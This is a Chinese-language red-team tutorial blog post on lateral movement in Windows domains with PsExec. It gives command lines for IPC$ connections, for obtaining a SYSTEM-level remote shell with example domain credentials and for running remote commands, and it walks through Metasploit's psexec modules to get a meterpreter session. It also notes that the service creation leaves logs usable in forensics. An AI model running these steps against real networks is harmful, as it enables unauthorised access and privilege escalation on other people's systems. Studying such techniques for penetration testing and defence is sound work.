前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >横向移动 - PsExec 的使用

横向移动 - PsExec 的使用

作者头像
渗透攻击红队
发布2020-11-25 10:46:05
9.1K0
发布2020-11-25 10:46:05
举报
文章被收录于专栏:漏洞知识库漏洞知识库

PsExec

PsExec 主要用于大批量 Windows 主机的维护,在域环境下效果尤其好。(因为 PsExec 是 Windows 提供的工具,所以杀毒软件将其列入白名单中)

因为使用 PsExec 通过命令行环境与目标机器建立连接,甚至控制目标机器,而不需要通过远程桌面(RDP)进行图形化的控制。

PsExec 包含在 PsTools 工具包中,下载地址:https://download.sysinternals.com/files/PSTools.zip

通过 PsExec 可以在远程目标主机上执行命令,也可以将管理员权限提升到 System 权限以运行指定的程序。

PsExec 的基本原理是:通过管道在远程目标主机上创建一个 psexec 服务,并在本地磁盘中生成一个名为”PSEXESVC“的二进制文件,然后通过 psexec 服务运行命令,运行结束后删除服务。

PsExec的使用

PsExec的使用


首先,需要获取目标操作系统的交互式 Shell。在建立了 ipc$ 的情况下:

代码语言:javascript
复制
net use \\192.168.3.21 /u:god\administrator Admin12345

执行如下命令,获取 System 权限的 Shell:

代码语言:javascript
复制
PsExec.exe -accepteula \\192.168.3.21 -s cmd.exe

# -accepteula  第一次运行 PsExec 会弹出确认框,使用该参数就不会弹出确认框
# -s      以System权限运行远程进程,获得一个System权限的交互式Shell,如果不用这个参数,那么会获得一个administrator权限的shell

获得一个 administrator 权限的 shell:

代码语言:javascript
复制
PsExec.exe -accepteula \\192.168.3.21 cmd.exe

如果没有建立 ipc$,PsExec 有两个参数可以通过指定的账号和密码进行远程连接:

代码语言:javascript
复制
PsExec.exe \\192.168.3.21 -u god\administrator -p Admin12345 cmd.exe

# -u  域\用户名
# -p  密码

使用 PsExec 在远程计算机上执行命令进行回显:

代码语言:javascript
复制
PsExec.exe \\192.168.3.21 -u god\administrator -p Admin12345 cmd /c "ipconfig"

PsExec的注意事项

需要远程系统开启admin共享(默认是开启的),原理是基于IPC共享,目标需要开放445端口和admin

在使用IPC连接目标系统后,不需要输入账户和密码。

在使用PsExec执行远程命令时,会在目标系统中创建一个psexec的服务。命令执行完后,psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,可以在攻击溯源时通过日志反推攻击流程。

使用PsExec可以直接获得System权限的交互式Shell(前提目标是administrator权限的shell)

在域环境测试时发现,非域用户无法利用内存中的票据使用PsExec功能,只能依靠账号和密码进行传递。


Metasploit 使用 PsExec 模块

查找有关 psexec 的模块:

代码语言:javascript
复制
search psexec

有两个常用的模块:

代码语言:javascript
复制
exploit/windows/smb/psexec
exploit/windows/smb/psexec_psh(Powershell 版本的 psexec)

使用模块:

代码语言:javascript
复制
use exploit/windows/smb/psexec
set rhosts 192.168.2.25
set smbuser administrator
set smbpass Admin12345

运行 exploit ,运行脚本会获得一个 meterpreter:

输入 shell,会获得一个 system 权限的 shell:

psexec_psh 模块和 psexec 模块的使用方法相同,二者的区别在于,通过 psexec_psh 模块上传的 payload 是 powershell 版本的。


参考文章:

https://zhuanlan.zhihu.com/p/228742108

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-11-10,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透攻击红队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档